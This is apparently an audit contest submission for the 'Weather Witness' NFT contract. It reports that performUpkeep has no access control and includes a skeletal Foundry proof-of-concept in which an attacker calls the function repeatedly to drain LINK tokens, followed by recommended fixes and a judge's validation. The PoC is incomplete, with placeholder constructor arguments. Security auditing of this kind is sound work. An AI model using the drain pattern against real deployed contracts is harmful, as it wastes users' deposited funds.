Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Missing Access Control for performUpkeep Function

Summary

The performUpkeep function in the WeatherNft contract can be called by anyone, not just the Chainlink Automation network, potentially leading to unnecessary function calls and LINK consumption.

Vulnerability Details

The performUpkeep function lacks proper access control:

function performUpkeep(bytes calldata performData) external {
// No access control
uint256 tokenId = abi.decode(performData, (uint256));
_sendFunctionsWeatherFetchRequest(
s_weatherNftInfo[tokenId].pincode,
s_weatherNftInfo[tokenId].isoCode
);
}

This allows any external actor to trigger weather updates for any NFT at any time, bypassing the intended automation mechanism and potentially depleting LINK tokens.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
import "forge-std/Test.sol";
import "../src/WeatherNft.sol";
contract MissingAccessControlTest is Test {
WeatherNft public weatherNft;
address public owner;
address public attacker;
address public user;
function setUp() public {
// Setup the WeatherNft contract and necessary dependencies
owner = address(0x1);
attacker = address(0x2);
user = address(0x3);
// Deploy the contract with owner as the owner
vm.startPrank(owner);
weatherNft = new WeatherNft(
/* constructor parameters */
);
vm.stopPrank();
// Fund accounts
vm.deal(owner, 10 ether);
vm.deal(attacker, 10 ether);
vm.deal(user, 10 ether);
// Mint an NFT for the user
vm.startPrank(user);
// Assume user has minted NFT with tokenId 1
// and has set up automation
vm.stopPrank();
}
function testUnauthorizedUpkeep() public {
// Record the initial LINK balance of the contract
uint256 initialLinkBalance = 1 ether; // Assume this is the initial balance
// Attacker can call performUpkeep directly
vm.startPrank(attacker);
// Encode the tokenId as performData
bytes memory performData = abi.encode(uint256(1)); // TokenId 1
// Call performUpkeep directly
weatherNft.performUpkeep(performData);
// This will trigger a Chainlink Functions request
// consuming LINK tokens from the contract
vm.stopPrank();
// In a real test, we would verify that LINK tokens were consumed
// and that the weather update was triggered unnecessarily
}
function testDrainLinkTokens() public {
// Attacker can drain LINK tokens by repeatedly calling performUpkeep
vm.startPrank(attacker);
// Encode the tokenId as performData
bytes memory performData = abi.encode(uint256(1)); // TokenId 1
// Call performUpkeep multiple times to drain LINK tokens
for (uint i = 0; i < 10; i++) {
weatherNft.performUpkeep(performData);
// Each call consumes LINK tokens
}
vm.stopPrank();
// In a real test, we would verify that a significant amount of LINK tokens
// were consumed, potentially preventing legitimate automation from working
}
function testBypassHeartbeat() public {
// Attacker can bypass the heartbeat interval
vm.startPrank(attacker);
// Encode the tokenId as performData
bytes memory performData = abi.encode(uint256(1)); // TokenId 1
// Call performUpkeep immediately after a legitimate update
// This bypasses the heartbeat interval check that would normally
// be enforced by the Chainlink Automation network
weatherNft.performUpkeep(performData);
vm.stopPrank();
// In a real test, we would verify that the update was processed
// despite the heartbeat interval not having elapsed
}
}

This PoC demonstrates how an attacker could exploit the lack of access control in the performUpkeep function to:

  1. Trigger unnecessary weather updates

  2. Drain LINK tokens from the contract by repeatedly calling the function

  3. Bypass the heartbeat interval that would normally be enforced by the Chainlink Automation network

Impact

Without proper access control:

  • Malicious actors could trigger excessive weather updates

  • LINK tokens allocated for automation could be depleted prematurely

  • The system's economic model could be undermined

  • Users might experience unexpected behavior with their NFTs

Recommendations

Implement proper access control for the performUpkeep function:

  1. Restrict the function to be called only by the Chainlink Automation Registry:

function performUpkeep(bytes calldata performData) external {
require(
msg.sender == address(s_keeperRegistry),
"WeatherNft__UnauthorizedUpkeep"
);
uint256 tokenId = abi.decode(performData, (uint256));
_sendFunctionsWeatherFetchRequest(
s_weatherNftInfo[tokenId].pincode,
s_weatherNftInfo[tokenId].isoCode
);
}
  1. If manual updates are desired, create a separate function with appropriate rate limiting:

function manualUpdate(uint256 tokenId) external {
require(ownerOf(tokenId) == msg.sender, "WeatherNft__NotOwner");
require(
block.timestamp >= s_lastUpdateTime[tokenId] + MIN_MANUAL_UPDATE_INTERVAL,
"WeatherNft__TooFrequent"
);
s_lastUpdateTime[tokenId] = block.timestamp;
_sendFunctionsWeatherFetchRequest(
s_weatherNftInfo[tokenId].pincode,
s_weatherNftInfo[tokenId].isoCode
);
}
Updates

Appeal created

bube Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `performUpkeep` function

The `performUpkeep` function should be called by the Chainlink keepers or owners of the NFT. But there is no access control and anyone can call the function. This leads to malicious consumption of the user's LINK deposit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.